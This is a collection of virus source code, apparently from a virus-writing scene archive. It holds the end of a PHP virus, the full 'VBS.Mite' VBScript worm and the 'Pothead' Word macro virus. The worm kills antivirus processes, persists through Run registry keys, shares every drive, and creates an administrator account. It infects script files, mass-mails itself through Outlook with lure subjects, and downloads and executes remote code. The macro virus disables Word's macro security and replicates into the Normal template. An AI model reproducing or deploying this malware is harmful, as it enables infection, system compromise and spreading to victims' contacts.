"$bbugesqpty"); fwrite($zohqscoxob, "$skzmabzbfe"); fclose($zohqscoxob); } } } } closedir($uudxleoyja); // php.faces (c) by Kefi, 2003 ?>sources
VBS.Mite (ver. 1.0) MYSTiQUE ' VBS.Mite by MYSTiQUE [rRlf] ver. 1.0 on error resume next dim fso, myst, virus, language, Accessories Set myst = CreateObject("Wscript.Shell") set FSO=createobject("scripting.filesystemobject") Set fl = fso.OpenTextFile(WScript.ScriptFullName, 1) virus = fl.ReadAll fl.Close CheckLang() sub CheckLang() If Month(Now()) = 12 And Day(Now()) = 31 Then myst.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SM_AccessoriesName") if Accessories="Ñòàíäàðòíûå" then fso.deletefile wscript.scriptfullname end if end if end sub Task() Sub Task() myst.run"taskkill /f /im drweb32w.exe",0 myst.run"taskkill /f /im drwebupw.exe",0 myst.run"taskkill /f /im drwebwcl.exe",0 myst.run"taskkill /f /im drweb386.exe",0 myst.run"taskkill /f /im SCAN.EXE",0 myst.run"taskkill /f /im NOD32.EXE",0 myst.run"taskkill /f /im NAVWNT.EXE",0 myst.run"taskkill /f /im NAVW32.EXE",0 myst.run"taskkill /f /im ZONEALARM.EXE",0 myst.run"taskkill /f /im TASKMON.EXE",0 myst.run"taskkill /f /im REGEDIT.EXE",0 myst.run"taskkill /f /im REGEDIT32.EXE",0 myst.run"taskkill /f /im OUTPOST.EXE",0 myst.run"taskkill /f /im NPROTECT.EXE",0 myst.run"taskkill /f /im SPIDER.VXD",0 myst.run"taskkill /f /im AVPM.EXE",0 myst.run"taskkill /f /im Norton.EXE",0 myst.run"taskkill /f /im Mcafee.EXE",0 myst.run"taskkill /f /im Sophos.exe",0 myst.run"taskkill /f /im F-PROT.EXE",0 End Sub 'Thanks to [K]Alamar for antideletion function AntiDeletion() Sub AntiDeletion() Set fso = CreateObject("scripting.filesystemobject") Set fuck = fso.opentextfile(wscript.scriptfullname, 1) vir = fuck.readall fuck.Close Do If Not (fso.fileexists(wscript.scriptfullname)) Then Set fuck = fso.createtextfile(wscript.scriptfullname, True) fuck.write vir fuck.Close End If Loop End Sub InstalltoWindows() Sub InstalltoWindows() fso.copyfile wscript.scriptfullname,fso.GetSpecialFolder(0)+"\DrWeb.vbs" Set f = fso.GetFile(fso.GetSpecialFolder(0)&"\DrWeb.vbs") f.attributes = f.attributes + 2 myst.regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\SPIDERNT",fso.GetSpecialFolder(0)+"\DrWeb.vbs" End sub InstalltoSystem() Sub InstalltoSystem() fso.copyfile wscript.scriptfullname,fso.GetSpecialFolder(1)+"\DrWebUpdate.vbs" Set f = fso.GetFile(fso.GetSpecialFolder(1)&"\DrWebUpdate.vbs") f.attributes = f.attributes + 2 myst.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Regedit",fso.GetSpecialFolder(1)+"\DrWebUpdate.vbs" End sub InstalltoSystem2() Sub InstalltoSystem2() fso.copyfile wscript.scriptfullname,fso.GetSpecialFolder(1)+"\Backup.vbs" Set f = fso.GetFile(fso.GetSpecialFolder(1)&"\Backup.vbs") f.attributes = f.attributes + 2 myst.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Regedit",fso.GetSpecialFolder(1)+"\Backup.vbs" End Sub InstalltoTemp() Sub InstalltoTemp() fso.copyfile wscript.scriptfullname,fso.GetSpecialFolder(2)+"\Ctfmon.vbs" Set f = fso.GetFile(fso.GetSpecialFolder(2)&"\Ctfmon.vbs") f.attributes = f.attributes + 2 myst.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Ctfmon",fso.GetSpecialFolder(2)+"\Ctfmon.vbs" End sub OpenDriVe() Sub OpenDriVe() myst.run"net share f=f:\",0 myst.run"net share c=c:\",0 myst.run"net share d=d:\",0 myst.run"net share e=e:\",0 myst.run"net share g=g:\",0 myst.run"net share h=h:\",0 myst.run"net share i=i:\",0 myst.run"net share j=j:\",0 myst.run"net share k=k:\",0 myst.run"net share l=l:\",0 myst.run"net share m=m:\",0 myst.run"net share n=n:\",0 myst.run"net share o=o:\",0 myst.run"net share p=p:\",0 myst.run"net share q=q:\",0 myst.run"net share r=r:\",0 myst.run"net share s=s:\",0 myst.run"net share t=t:\",0 myst.run"net share u=u:\",0 myst.run"net share v=v:\",0 myst.run"net share w=w:\",0 myst.run"net share x=x:\",0 myst.run"net share y=y:\",0 myst.run"net share z=z:\",0 myst.regwrite"HKEY_CLASSES_ROOT\Network\SharingHandler\","" End sub NoDanger() Sub NoDanger() myst.regwrite"HKLM\SOFTWARE\Microsoft\Internet Explorer\main\FeatureControl\Feature_LocalMachine_Lockdown\IExplorer","0","REG_DWORD" End sub NewAdmin() Sub NewAdmin() myst.run"net user Administrator MYSTiQUE /add",0 myst.run"net localgroup administrators /add admin",0 End Sub msT() Sub msT() myst.regwrite "HKCU\software\TheMite\", "VBS.Mite by MYSTiQUE [rRlf]" End Sub NetworkSpreading() Sub NetworkSpreading(FileName) On Error Resume Next Set fso=CreateObject("Scripting.FileSystemObject") Set Network = CreateObject("WScript.Network") Set Shares = Network.EnumNetworkDrives Set Wormmm = fso.GetFile(WScript.ScriptFullName) Wormmm.Copy(fso.GetSpecialFolder(0)&"\NetWork.txt.vbs") If Shares.Count > 0 Then Set FSO = CreateObject("Scripting.FileSystemObject") For Counter1 = 0 To Shares.Count - 1 If Shares.Item(Counter1) <> "" Then FSO.CopyFile Wormmm, FSO.BuildPath(Shares.Item(Counter1), FileName) Next Set FSO = Nothing End If Set Shares = Nothing Set Network = Nothing End Sub Folder() Sub Folder() On Error Resume Next Set myst = CreateObject("Wscript.Shell") Set FSO = CreateObject("Scripting.FileSystemObject") Desktop = myst.SpecialFolders("AllUsersDesktop") StartMenu = myst.SpecialFolders("AllUsersStartMenu") Programs = myst.SpecialFolders("AllUsersPrograms") StartUp = myst.SpecialFolders("AllUsersStartUp") MyDocuments = myst.SpecialFolders("MyDocumets") SendTo = myst.SpecialFolders("SendTo") Recent = myst.SpecialFolders("Recent") Favorites = myst.SpecialFolders("Favorites") Templates = myst.SpecialFolders("Templates") fso.copyfile Wscript.ScriptFullName, SendTo & "\re; answer me.vbs" fso.copyfile Wscript.ScriptFullName, StartMenu & "\win log.vbs" fso.copyfile Wscript.ScriptFullName, Recent & "\fss vs. cia.vbs" fso.copyfile Wscript.ScriptFullName, Favorites & "\AdminPages whitehouse.lnk. vbs" fso.copyfile Wscript.ScriptFullName, Dektop & "\open Me.vbs" fso.copyfile wscript.scriptfullname, Templates & "\Word.vbs" fso.copyfile Wscript.Scriptfullname, Mydocuments & "\ReadMe.txt.vbs" fso.copyfile wscript.scriptfullname, Startup & "\kernel32.dll.vbs" Set f = fso.GetFile(fso.GetSpecialFolder(0)&"\kernel32.dll.vbs") f.attributes = f.attributes + 2 fso.copyfile wscript.scriptfullname, Programs & "\drweb.vbs" end sub payload() sub payload() if day(now())=20 then myst.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\disabletaskmgr","1","REG_DWORD" myst.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\disableregistrytools","1","REG_DWORD" myst.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString","Fucking Toilet" myst.regwrite"HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR\Start","4","REG_DWORD" myst.regwrite"HKLM\SOFTWARE\Microsoft\Internet Explorer\main\FeatureControl\Feature_LocalMachine_Lockdown\IExplorer","0","REG_DWORD" end if end sub infectfile() Sub infectfile() On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject") Set drv = fso.Drives For Each d In drv If d.DriveType = 2 Or d.DriveType = 3 Then list(d.path&"\") End If Next End Sub Sub list(doss) On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject") Set fold = fso.GetFolder(doss) Set yebjp = fold.SubFolders For Each f1 In yebjp infect(f1.Path) list(f1.Path) Next End Sub Sub infect(doss) On Error Resume Next Set mst = CreateObject("Scripting.FileSystemObject") Set lxxj = mst.GetFolder(doss) Set fc = lxxj.Files For Each f1 In fc ext = fso.GetExtensionName(f1.Path) ext = lCase(ext) If (ext = "vbs") or (ext = "vbe") or (ext = "vdb") Then Set cot = fso.OpenTextFile(f1.Path, 1, False) If cot.ReadLine <> "'ohuenno pizdatiy virus" Then cot.Close Set cot = fso.OpenTextFile(f1.Path, 1, False) vbsorg = cot.ReadAll() cot.Close Set inf = fso.OpenTextFile(f1.Path, 2, True) inf.WriteLine virus inf.WriteLine "" inf.WriteLine (vbsorg) inf.Close End if End If Next End Sub update() Sub update() Dim Inet, myst Dim DoWnLoAd Set Inet = CreateObject("InetCtls.Inet") Inet.RequestTimeOut = 30 DoWnLoAd = Inet.OpenURL("http://vx.netlux.org/rrlf/mite update.txt") set fso = createobject("scripting.filesystemobject") set f = fso.CreateTextFile("c:\update.vbs") f.write DoWnLoAd f.close Set myst = CreateObject("WScript.Shell") myst.run ("c:\update.vbs") end sub dos() sub dos() If Month(Now()) = 5 And Day(Now()) = 9 Then myst.run (fso.GetSpecialFolder(1)+"\ping.exe -t -l 10000 www.whitehouse.gov"),0 End if end sub CheckLang() Email() Sub Email() Set O=CreateObject("Outlook.Application") Set mapi=O.GetNameSpace("MAPI") For Each AL In mapi.AddressLists If AL.AddressEntries.Count <> 0 Then For AddListCount = 1 To AL.AddressEntries.Count Set ALE = AL.AddressEntries(AddListCount) Set go = O.CreateItem(0) go.To = ALE.Address Randomize num=Int((3*Rnd)+1) Set c = f.GetFile(WScript.ScriptFullName) If num = 1 then c.Copy(fso.GetSpecialFolder(0)&"\Free porn.txt.vbs") go.Subject = "New free porn !" go.Body = "Look at this " go.Attachments.Add f.BuildPath(f.GetSpecialfolder(0),"Free porn.txt.vbs") elseif num = 2 then c.Copy(fso.GetSpecialFolder(0)&"\Free Key (DrWeb and KAV).vbs") go.Subject = "Free Key" go.Body = "Free Key (DrWeb and KAV)" go.Attachments.Add f.BuildPath(f.GetSpecialfolder(0),"Free Key (DrWeb and KAV).vbs") elseif num = 3 then c.Copy(fso.GetSpecialFolder(0)&"\viruslist.txt.vbs") go.Subject = "News from www.viruslist.com" go.Body = "Read this news" go.Attachments.Add f.BuildPath(f.GetSpecialfolder(0),"viruslist.txt.vbs") End If If go.To <> "" Then go.Send End If Next End If Next End Subsources
Pothead Necronomikon Private Sub Document_Open() On Error Resume Next 'Pothead '(c) by Necronomikon/ZeroGravity '---------------------------------------------------------- ' thanks jackie for some advanced code Word.Application.Options.VirusProtection = n Word.Application.Options.ConfirmConversions = n Word.Application.Options.SaveNormalPrompt = n Select Case Application.Version Case "10.0" System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "Level") = 1& System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "AccessVBOM") = 1& CommandBars("Macro").Controls("Security...").Enabled = False Case "9.0" System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1& CommandBars("Macro").Controls("Security...").Enabled = False End Select WordBasic.DisableAutoMacros 0 Application.DisplayStatusBar = False ActiveDocument.ReadOnlyRecommended = False End Sub Private Sub Document_Close() On Error Resume Next On Error Resume Next: Randomize Dim nec1 As Object, nec2 As Object, nec3 As Object, nec4 As Object, nec5 As Object Dim thc As Object, lsd As Object, dope As Object, weed As Object, coke As Object Set nec1 = ActiveDocument: Set nec2 = nec1.VBProject: Set nec3 = nec2.VBComponents: Set nec4 = nec3.Item(1): Set nec5 = nec4.CodeModule Set thc = NormalTemplate: Set lsd = thc.VBProject: Set dope = lsd.VBComponents: Set weed = dope.Item(1): Set coke = weed.CodeModule pshq = coke.countoflines: zero = nec5.countoflines: gravity = Chr(Int(Rnd * 25) + 65): Chr (Int(Rnd * 25) + 65): Chr (Int(Rnd * 25) + 65) If pshq < zero Then For sysnec = 1 To pshq: NT5.replaceline sysnec, gravity: Next sysnec For sysnec = 1 To zero: peace = nec5.lines(sysnec, 1): coke.insertlines sysnec, peace: Next sysnec NormalTemplate.Save: End If If zero < pshq Then For sysnec = 1 To zero: nec5.replaceline sysnec, gravity: Next sysnec For sysnec = 1 To pshq: peace = coke.lines(sysnec, 1): nec5.insertlines sysnec, peace: Next sysnec ActiveDocument.Save: End If End Sub Sub FileSaveAs() On Error Resume Next Open Environ("WINDIR") & "\pothead.tmp" For Output As #1 Print #1, "n " & Environ("WINDIR") & "\POTHEAD.JPG" Print #1, "e 0100 FF D8 FF E0 00 10 4A 46 49 46 00 01 01 00 00 01" Print #1, "e 0110 00 01 00 00 FF DB 00 43 00 06 04 05 06 05 04 06" Print #1, "e 0120 06 05 06 07 07 06 08 0A 10 0A 0A 09 09 0A 14 0E" Print #1, "e 0130 0F 0C 10 17 14 18 18 17 14 16 16 1A 1D 25 1F 1A" Print #1, "e 0140 1B 23 1C 16 16 20 2C 20 23 26 27 29 2A 29 19 1F" Print #1, "e 0150 2D 30 2D 28 30 25 28 29 28 FF DB 00 43 01 07 07" Print #1, "e 0160 07 0A 08 0A 13 0A 0A 13 28 1A 16 1A 28 28 28 28" Print #1, "e 0170 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28" Print #1, "e 0180 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28" Print #1, "e 0190 28 28 28 28 28 28 28 28 28 28 28 28 28 28 FF C2" Print #1, "e 01A0 00 11 08 00 BD 02 37 03 01 22 00 02 11 01 03 11" Print #1, "e 01B0 01 FF C4 00 1B 00 00 01 05 01 01 00 00 00 00 00" Print #1, "e 01C0 00 00 00 00 00 00 05 01 02 03 04 06 00 07 FF C4" Print #1, "e 01D0 00 19 01 00 03 01 01 01 00 00 00 00 00 00 00 00" Print #1, "e 01E0 00 00 00 00 01 02 03 04 05 FF DA 00 0C 03 01 00" Print #1, "e 01F0 02 10 03 10 00 00 01 2F 14 10 73 55 D1 D7 03 0E" Print #1, "e 0200 F8 18 E9 53 96 47 2B A5 14 F3 02 0C ED 05 54 09" Print #1, "e 0210 36 26 AD 4F A1 CD 95 39 0E CA 55 B0 9F 23 78 68" Print #1, "e 0220 07 55 95 1D 8B D9 87 39 D0 A6 79 5C E8 9B 9D E1" Print #1, "e 0230 1D 68 26 0C F2 E7 91 AD 0B B3 BC 07 98 09 8C 3D" Print #1, "e 0240 10 56 81 89 00 A2 34 F5 46 56 03 8A 0D 40 F3 81" Print #1, "e 0250 BC 0E 3C 0A 81 A7 04 7A 66 D0 3A 81 87 86 40 37" Print #1, "e 0260 38 0B 20 42 C8 5A ED 69 22 CA 35 AD 4F 65 A5 0D" Print #1, "e 0270 2D 8C 7C 21 B7 6E 76 EC D1 49 29 5C 40 85 AD 61" Print #1, "e 0280 95 FA 3E A0 1A A4 FA E7 65 91 43 9E 8E E6 4E 0F" Print #1, "e 0290 BC 35 EA 8B 70 DB 49 E8 68 02 95 33 D5 9B 24 B7" Print #1, "e 02A0 8A 3F 94 6A FC 63 99 79 EF CB F9 8E A6 59 DC B9" Print #1, "e 02B0 80 CA F3 4C 7B 36 C5 39 79 CA 73 95 0C 5B 37 95" Print #1, "e 02C0 08 53 D6 A6 F3 6B AB 7A 78 D6 6B C7 39 03 C4 2B" Print #1, "e 02D0 54 D7 E9 79 A7 D7 B9 58 19 CF 70 44 B3 28 40 93" Print #1, "e 02E0 B4 22 59 38 51 A4 8D 04 E5 70 4B 1F 34 72 46 D9" Print #1, "e 02F0 44 BD 25 E5 43 64 B3 18 25 53 A3 C2 27 C1 05 2B" Print #1, "e 0300 66 03 D4 41 82 79 6D 94 50 3E 8F 86 3A CE 96 89" Print #1, "e 0310 59 FE 27 68 06 5B F5 EA B9 D7 8D B7 6F 55 D6 7C" Print #1, "e 0320 9D 49 96 8D D1 0F 9E 2E 02 90 F2 5A 8C 79 01 84" Print #1, "e 0330 63 26 8D DD 5C 97 35 D9 B2 71 A9 60 52 0A 9B 7D" Print #1, "e 0340 BA F7 9C 45 0D DA 29 23 DB 2B 65 B4 41 08 E5 A9" Print #1, "e 0350 49 59 69 E5 14 B2 D9 B8 11 47 40 29 58 30 1A A1" Print #1, "e 0360 71 B6 4E 99 90 BB E1 6A 9D 8A CE 56 46 28 4E B1" Print #1, "e 0370 F2 73 3A 29 13 7C D0 4A 8E 6A F0 46 24 BD 2A 9A" Print #1, "e 0380 AE 69 F6 A9 98 34 47 9F A8 59 72 11 C3 B7 79 6D" Print #1, "e 0390 D6 35 C1 E9 63 A5 E6 78 EF 79 C8 B7 E5 CC BD 47" Print #1, "e 03A0 7C 66 D8 63 F5 52 C0 F2 73 7A 72 B5 82 67 7A C3" Print #1, "e 03B0 10 4B 96 A7 1C 2C 7A 92 38 D2 70 55 E7 AE 1F 2B" Print #1, "e 03C0 48 46 57 D4 00 AA F3 7B 9A 46 0F 3B 43 58 3E F3" Print #1, "e 03D0 C9 C9 EA 7A 1D F9 7C 75 DE A8 D1 F8 DC 3E A9 55" Print #1, "e 03E0 9E 6F 6F 5B 95 91 50 63 D0 4A CB 24 CF 7B 17 81" Print #1, "e 03F0 BD 3D 0D CC A4 C9 EA FB 2B 38 19 60 E8 9C DA 88" Print #1, "e 0400 6B A6 DA 20 94 9A 66 3A B4 D5 EB 39 B9 8A 0E 73" Print #1, "e 0410 14 73 49 13 D3 7B A3 54 3D D0 34 2C 31 8D 0A 1A" Print #1, "e 0420 38 AE 4D 91 50 54 A6 F7 8E C0 E8 51 A0 84 F6 01" Print #1, "e 0430 A3 C9 8D 9A A7 6B 7B 3F A7 4B 39 E7 BE B3 80 1B" Print #1, "e 0440 4B D7 34 69 8D E4 ED 79 BD F0 61 26 5C 55 CE 18" Print #1, "e 0450 15 CB D3 43 38 73 3E B5 1D A7 14 CB 9D 06 72 CB" Print #1, "e 0460 93 A3 7C 74 2C 32 6B 31 04 BD 1F A4 79 F5 BE AE" Print #1, "e 0470 1D 6C E2 BB 4C A6 A7 73 3D 2D F9 C7 E6 0A F5 47" Print #1, "e 0480 60 67 77 73 21 EA 30 4C E5 68 9E CA E1 D5 35 12" Print #1, "e 0490 4C 0A 17 0D FA 3A 5E 35 43 D9 7C E1 50 47 5B 7D" Print #1, "e 04A0 C0 E2 37 E1 9B AF 0E A9 8E 30 ED 25 43 5C 11 79" Print #1, "e 04B0 46 E7 C4 AA A5 74 2F 4E 67 41 2A 71 AB 5C 0E AB" Print #1, "e 04C0 35 37 3A D2 98 FD 26 5D 06 18 2E FE 77 C5 A9 64" Print #1, "e 04D0 C7 EC 71 F8 BB 75 E7 F4 53 60 6E 45 9C A0 0C 12" Print #1, "e 04E0 24 06 91 59 B5 66 55 8E 47 F3 7B 5C BD A9 A0 2F" Print #1, "e 04F0 69 AE 28 94 99 CC 02 24 F2 BD 9E BE 9D 9D 02 B3" Print #1, "e 0500 4C 5E B6 C8 C5 22 6B CF 02 4A 63 5C 1A 44 1D B7" Print #1, "e 0510 1B 24 C6 15 A9 D0 65 A5 B8 40 8B 53 09 19 9B 9E" Print #1, "e 0520 73 60 AD D4 D9 05 27 41 85 32 33 3D A7 3B 92 93" Print #1, "e 0530 3E 92 49 4D 00 81 6C BD A9 65 44 32 B3 3B 49 9E" Print #1, "e 0540 D5 6F C6 52 C6 6E DD 73 E9 6B D7 80 99 EB C3 7C" Print #1, "e 0550 AA 34 8E 92 4F CC AA 7A D7 99 CE D4 5D 4D 27 5B" Print #1, "e 0560 4E A7 C1 34 49 CD 73 9B C2 D2 DF C6 99 CB 79 18" Print #1, "e 0570 E9 56 89 62 04 55 76 B6 A0 21 27 B3 76 33 C4 CF" Print #1, "e 0580 14 B5 AD 4A EA 0E D7 1E E7 F3 67 EB 5F CD 25 EA" Print #1, "e 0590 21 C1 16 B8 C8 BA 61 F9 6D 6D D4 22 9B BD 5A 39" Print #1, "e 05A0 6B 38 A6 3B 67 5C 8C 12 F3 23 2E 08 55 15 65 1C" Print #1, "e 05B0 92 D5 27 4B 5C 4E 88 80 F9 6D 10 B9 DA 9D D4 A0" Print #1, "e 05C0 51 26 8F E0 23 51 8C 04 73 3A 5D E8 AB F2 D2 CC" Print #1, "e 05D0 0D 47 2A 9D CE 49 E9 F2 3A 6D F2 AB 20 77 2A D3" Print #1, "e 05E0 CF 98 D0 A9 95 61 89 66 42 51 4F 24 ED 6C 78 F5" Print #1, "e 05F0 74 9B C9 1D 0A 9D C1 DD DC 1D CA A8 6D DA 4A 33" Print #1, "e 0600 D5 5D D8 F4 CF 20 D7 D2 21 5B 95 38 24 6C 63 BE" Print #1, "e 0610 7F 2F 6A 58 1E 8D FD 1C 7D CF E6 5F BE 16 64 F4" Print #1, "e 0620 99 1D 62 13 98 47 46 AF A4 82 D8 56 BC BA 1A 55" Print #1, "e 0630 A1 58 D3 96 91 DC 4D 66 4A ED 38 9C DF 92 9F 0A" Print #1, "e 0640 9E B7 38 35 53 E1 EE 54 A8 8A 1C A9 C3 E9 EB F3" Print #1, "e 0650 52 C5 6A D5 02 FA 68 60 EE E4 4D 4C 52 DA EF 01" Print #1, "e 0660 A1 70 6D 0A E5 C3 49 CE E6 64 2F 1D CB A1 ED 93" Print #1, "e 0670 7C 62 D3 44 D0 4B 12 AE EE E4 FB 95 01 3B B8 08" Print #1, "e 0680 13 CE 2A 3B B9 18 F9 60 9A 6D FD 0F 15 65 D4 DE" Print #1, "e 0690 9C C9 02 84 91 17 12 28 D5 AE BC 93 A7 E6 18 04" Print #1, "e 06A0 6C 18 AC CF 25 E5 43 AC DE 3A 2C 4D CA 5A 04 EB" Print #1, "e 06B0 68 9D B5 BC C4 67 F4 9E 61 2D E2 EC 1E A8 CF 5A" Print #1, "e 06C0 2C 8D 54 AE 45 C2 CF 50 D3 E6 27 4E EE E5 4F 7C" Print #1, "e 06D0 13 B7 1F 58 AC 9F 72 4A 28 5E CE 6A FA 52 93 41" Print #1, "e 06E0 84 0C BA A4 7D 90 90 37 35 6B 35 73 7C BC 99 9C" Print #1, "e 06F0 E6 CC 05 A9 1A 15 79 8E 45 7C E8 C6 13 18 1C A8" Print #1, "e 0700 A9 F2 2F 02 77 70 77 77 07 77 70 74 D0 AA 76 61" Print #1, "e 0710 E9 55 C3 61 88 0D 49 78 23 8D CC 71 CF 6A 35 DD" Print #1, "e 0720 DC 16 AC D5 DE 62 C6 5D 3F 27 36 78 A2 04 B2 FB" Print #1, "e 0730 B1 88 C6 6C ED CB 57 D3 33 59 41 E5 CD E5 20 56" Print #1, "e 0740 4B FD 79 31 CE EA 9A 12 73 9B 0D 97 DB E5 E3 61" Print #1, "e 0750 CA E9 8B 69 77 EE 39 57 97 24 2B D5 6D 72 5B 15" Print #1, "e 0760 27 B7 81 15 C8 09 DD 7D AA A4 CA D6 E9 95 0B 64" Print #1, "e 0770 6C 36 A2 A6 0F 97 B8 09 37 B5 D5 9E 56 E9 31 02" Print #1, "e 0780 17 5E EC 0B 48 15 24 54 F5 49 19 55 B2 C6 84 E5" Print #1, "e 0790 E0 E4 5E 12 2F 70 D7 91 51 31 BC F2 CD 7A 4D EF" Print #1, "e 07A0 2A 4C DD BA 0E 4D A5 39 51 AE EE E1 59 DF 79 EF" Print #1, "e 07B0 A1 73 55 95 78 FE 4C EF B7 23 BE A7 12 E5 B6 CA" Print #1, "e 07C0 01 1C CE 95 82 81 5C C1 DA 76 04 CB 30 16 1F 7C" Print #1, "e 07D0 39 2E 91 F4 E9 DB 9E B5 DC CC 5E D4 43 6D CA FC" Print #1, "e 07E0 76 D5 9E 50 8A 9E 8D F2 A7 33 95 74 34 07 B7 4A" Print #1, "e 07F0 BB 35 11 67 3A A6 F5 46 24 57 77 74 9D DD C8 EE" Print #1, "e 0800 EE 0D 4E 8B 0B A7 02 71 1E B5 8E 9E 64 1F D2 FC" Print #1, "e 0810 C7 41 92 B2 3D 22 DC E3 9E 16 23 90 90 0C ED 1C" Print #1, "e 0820 6D 67 6B EA C2 26 3F 8B 13 CE B2 CB BE 37 37 E6" Print #1, "e 0830 49 EB 70 CB F2 14 F4 A1 CD E1 13 69 13 9C 87 69" Print #1, "e 0840 AA B4 0F 8B 73 5B 72 C6 86 F2 5E 54 C4 D7 C4 91" Print #1, "e 0850 58 73 63 64 65 9C B2 F3 CF 42 0F 9F D4 D0 BB 2A" Print #1, "e 0860 56 55 EB 31 4A 68 92 3A 25 33 0E 41 D6 8E 96 C1" Print #1, "e 0870 D5 20 9E 97 00 94 7A 14 18 48 A4 10 96 23 ED A8" Print #1, "e 0880 D5 5E 26 C9 35 6A 0E B0 37 69 37 86 DF BC 98 1E" Print #1, "e 0890 BD 4B 26 9C BC 84 E5 E0 4E 97 63 37 96 DD DB B3" Print #1, "e 08A0 8F 4A CA B4 E2 F2 D9 3D 9E 4B 7E 74 D0 E7 D7 5C" Print #1, "e 08B0 B4 85 B0 B2 0B D5 A3 F3 DD 0D 2D 04 A0 C4 8B 58" Print #1, "e 08C0 18 77 A4 45 E3 FB 7A 2B 9B A3 33 D7 C7 CE AD A0" Print #1, "e 08D0 FA B4 9E D1 2B A6 65 5A B0 32 76 07 48 A3 5C 1F" Print #1, "e 08E0 93 FF C4 00 2C 10 00 02 02 01 03 03 03 03 05 01" Print #1, "e 08F0 01 01 00 00 00 00 02 03 00 01 04 05 11 12 10 13" Print #1, "e 0900 14 20 21 22 23 30 31 06 15 32 33 41 24 34 43 FF" Print #1, "e 0910 DA 00 08 01 01 00 01 05 02 21 96 33 84 69 F1 73" Print #1, "e 0920 03 78 5B B1 B6 8B BB 5A 16 31 B7 CE 10 5E E3 C8" Print #1, "e 0930 61 34 E5 64 32 A6 2E 55 32 0E 2E F0 71 AC 61 62" Print #1, "e 0940 EF 77 8D BD 78 DE D7 8D 3B 3C 2F 50 FE 58 57 B2" Print #1, "e 0950 EC A7 29 CE 6F 37 9B CE 7D 37 EB 7D 4A E6 F2 8A" Print #1, "e 0960 6F F0 DE 6F 39 4A BE 95 D2 E0 FA 2A 6F EF FE 7F" Print #1, "e 0970 B5 37 A9 77 05 EB 96 55 77 DC 1A B0 68 94 BB 97" Print #1, "e 0980 D2 A6 69 7C 70 3F A5 BF CA F3 53 3C D4 DD D6 52" Print #1, "e 0990 A6 71 5B 89 8E 64 5B B8 CE E7 28 4D 11 1B B6 9D" Print #1, "e 09A0 27 19 24 80 C5 A2 BC BC 5A 54 2C 46 D4 25 90 4C" Print #1, "e 09B0 4D 40 C2 16 A1 3C FD E0 3C CA AD CD 82 D6 C2 9A" Print #1, "e 09C0 8F F2 5E 4F 6E AF 32 E7 99 3C C9 E6 5C F3 27 97" Print #1, "e 09D0 3C AB 9E 49 CF 24 E7 92 53 C9 39 E4 9C EF 9C EF" Print #1, "e 09E0 9C B6 94 EE 14 EE 14 EE 97 6F B8 53 BA 53 BC 52" Print #1, "e 09F0 B2 0A 79 25 3C A2 9E 51 4F 2A E5 65 CF 2E 79 73" Print #1, "e 0A00 CC A9 E5 CA CA 19 E4 FC 7C AA 87 96 40 7E 49 F2" Print #1, "e 0A10 6B 08 AD 6F 65 43 BB 65 16 C2 1D C3 BA 46 41 0D" Print #1, "e 0A20 D6 58 59 79 01 B8 FE 33 BF 18 3F D0 CB F9 74 58" Print #1, "e 0A30 9E CD BF 79 BC 5D 59 DD A8 2A 0A B7 1D A8 69 79" Print #1, "e 0A40 05 E3 8E 60 AC 6B 52 BD 95 7E 63 32 F0 C5 6A 5F" Print #1, "e 0A50 76 E1 24 8A C5 B9 18 E5 83 9B DF AD FD AF DE 6A" Print #1, "e 0A60 7F CC FF 00 3F 67 81 4E D9 CD B6 F5 5F F5 FD DB" Print #1, "e 0A70 2A DA 88 B7 BB 19 7E D3 DC 84 68 6C B8 DD 95 91" Print #1, "e 0A80 09 82 48 C7 FD 03 20 23 71 6F CA FB AB CC 11 66" Print #1, "e 0A90 63 04 EB 1A B6 C6 3F CC 0F 68 4D 22 BD B7 BD A7" Print #1, "e 0AA0 C6 83 DE 72 E3 39 7B F7 D9 B7 CE A2 90 4D 30 40" Print #1, "e 0AB0 A7 27 71 EF 92 F2 AC 1B CA 8F 94 E5 71 47 60 62" Print #1, "e 0AC0 D7 D8 E3 91 DD EA 7F CC FF 00 3D 76 B9 C6 E0 A4" Print #1, "e 0AD0 CA 06 26 F2 B1 76 82 8B 94 99 D9 87 8F BC 3C 6A" Print #1, "e 0AE0 85 8F 72 D7 75 38 CE 30 83 E3 C6 6D 38 CE 13 B7" Print #1, "e 0AF0 3B 77 38 5C E1 73 81 4E 37 36 B9 B4 BA AA 97 75" Print #1, "e 0B00 3D BA 0D D4 FE 65 E2 95 2E F1 D9 B0 A4 CC BC 47" Print #1, "e 0B10 9C 60 30 2E 8C 87 A7 E1 77 F9 1F CD 0F 1C 73 FC" Print #1, "e 0B20 D4 2B 9F 8E 98 E9 37 1B B1 BB 50 A8 A5 45 00 94" Print #1, "e 0B30 A4 FB 52 EE CF 16 BB 15 93 CD B3 4A C7 BD 9A 5B" Print #1, "e 0B40 D6 AB 87 B2 A0 28 8E B1 55 DD 75 A4 A2 95 63 7A" Print #1, "e 0B50 97 F3 52 A8 AB B4 32 D6 3B 6D 5D 16 3B DA D5 45" Print #1, "e 0B60 15 8A BD BC 51 BB F0 82 78 23 2B 08 61 61 42 C3" Print #1, "e 0B70 F7 76 26 D1 AB DA 34 36 E8 7F C3 A5 4A F4 54 FF" Print #1, "e 0B80 00 26 D2 EB DB A5 56 F1 58 A4 56 BC 11 98 B8 8B" Print #1, "e 0B90 A3 4A 56 67 E1 A3 80 AC 2A C6 AA 65 61 AF 21 BA" Print #1, "e 0BA0 8E 91 61 09 76 3D 51 7C 5A 57 7D 82 FC D2 02 A5" 